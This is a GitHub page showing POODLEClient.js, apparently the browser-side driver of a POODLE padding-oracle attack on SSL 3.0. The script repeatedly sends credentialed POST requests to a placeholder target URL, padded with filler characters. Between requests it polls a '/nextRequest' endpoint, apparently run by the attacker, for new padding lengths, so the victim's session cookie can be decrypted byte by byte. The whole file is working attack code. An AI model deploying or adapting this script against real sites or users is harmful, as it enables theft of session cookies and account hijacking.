-
Notifications
You must be signed in to change notification settings - Fork 14
/
POODLEClient.js
43 lines (37 loc) · 959 Bytes
/
POODLEClient.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
var urllen = 0;
var postlen = 26;
var delay = 10;
function strPad(n) {
if (n > 0) {
return Array(n + 1).join("A");
} else {
return "";
}
}
function performSSLRequest() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = sslRequestHandler;
xhr.withCredentials = true;
xhr.open("POST", "###URL###?" + strPad(urllen));
xhr.send(strPad(postlen));
}
function sslRequestHandler() {
if (this.readyState == this.DONE) {
queryNextRequest();
}
}
function queryNextRequest() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = queryNextRequestHandler;
xhr.open("GET", "/nextRequest");
xhr.send(null);
}
function queryNextRequestHandler() {
if (this.readyState == this.DONE) {
var res = this.responseText.split(":");
urllen = Number(res[0]);
postlen = Number(res[1]);
setTimeout(performSSLRequest, delay);
}
}
performSSLRequest();